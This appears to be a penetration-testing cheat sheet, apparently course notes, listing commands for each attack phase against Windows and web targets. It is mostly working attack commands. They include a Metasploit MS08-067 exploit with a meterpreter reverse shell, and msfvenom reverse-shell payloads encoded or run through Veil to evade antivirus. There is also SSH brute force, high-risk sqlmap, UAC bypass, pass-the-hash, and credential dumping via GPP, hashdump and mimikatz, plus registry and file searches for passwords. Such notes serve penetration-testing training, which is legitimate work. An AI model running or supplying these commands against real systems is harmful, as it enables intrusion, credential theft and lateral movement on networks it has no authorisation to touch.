1. Reconnaissance

Nmap Scan

```
# Discovery scan
echo "10.20.160.20-160" >> scope.txt
nmap -Pn --open -n -vvv --top-ports 15 -T4 -oA discovery -iL scope.txt
# Aggressive Scan
grep "Status: Up" discovery.gnmap | cut -d " " -f2 > livehosts.txt
nmap -Pn --open -n -vvv -p- -A -T4 -oA aggressive -iL livehosts.txt
```

Nessus Scan

port 8834

Nikto Scan

```
nikto -host 10.20.160.135
```

Dirbuster Scan

```
dirbuster
# /usr/share/dirbuster/wordlists
```

Wordpress Scan

```
wpscan --url www.example.com
```

2. Exploitation

searching metasploit modules

```
cd /usr/share/metasploit-framework/modules
grep “centos” * -ir
```

searchsploit

msfconsole

```
use exploit/windows/smb/ms08_067_netapi set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [IP]
run
search
show options
show payloads
sessions
sessions -i 1
exploit
check
Search suggester (after getting meterpreter shell)
```

meterpreter

```
background
search -f *proof.txt*
sysinfo
getuid
```

pivoting

```
meterpreter> run autoroute
meterpreter> portfwd
meterpreter> run netenum -ps –r [IP Range]
```

msfvenom

```
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=[your IP address] LPORT=4444 -b "\x00" -e
x86/shikata_ga_nai -f exe -o payload.exe
msfvenom -p php/reverse_php lhost=[your IP address] lport=4444 -f raw > payload.php
```

antivirus

```
cd ~/Tools/Veil
./Veil.py
```

brute force

```
# think anything with a login prompt (SSH, FTP, Telnet, Web forms, RDP sessions, database, SMNP strings, …)
# wordlists (Rockyou.txt)
medusa -h 192.168.1.200 -u msfadmin -P /usr/share/wordlist/rockyou.txt -M ssh
```

sqlmap

```
sqlmap --dbs -u 'url and query' --cookie='insert cookies here' --level=5 --risk=3 -p from --dbms=mysql
--dbs : dump all databases
--level=5 : highest level
--risk=3 : highest risk
-p from : keyword to test
--dbms=mysql : type of database - include this!
```

3. Privilege Escalation

Metasploit

```
# only works when you are Administrator
# named pipes
# With SYSTEM level access, an attacker can request the hash of each token on the system
meterpreter> getsystem

# local exploits
msf> use exploit/windows/local
```

Note about local exploits: make sure the exploit target, exploit payload, and meterpreter architectures all match your system's architecture. (see pwn3 solution video for example)

bypassuac

```
msf> use exploit/windows/local/bypassuac
```

pass the hash

```
# gather hashes first
pth-winexe -U [Username]%[Hash or Password] //[Target IP Address] cmd.exe
```

4. Other Post Exploitation

Get credentials, passwords, hashes:

```
# gather credentials
use post/windows/gather/credentials/gpp
set session [Session # of your shell]
exploit

# hashdump
meterpreter> run post/windows/gather/smart_hashdump

# mimikatz
```

Basic Enumeration Shell Commands:

```
whoami
ipconfig /all
netstat -ano
net accounts
net localgroup administrators
net share
systeminfo | findstr /B /C:"OS Name" /C:"OS Version”◦ set logonserver
gpresult /r
```

Search for insecure password storage files:

```
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /s /i “password” *.*
```

Browse user and network file shares

- My Documents
- PowerView’s ShareFinder

Search the registry for keywords:

```
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Searching for config files:

```
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml ◦ %WINDIR%\Panther\Unattended.xml
```

5. Resources

Metasploit Framework Modules [1, 2]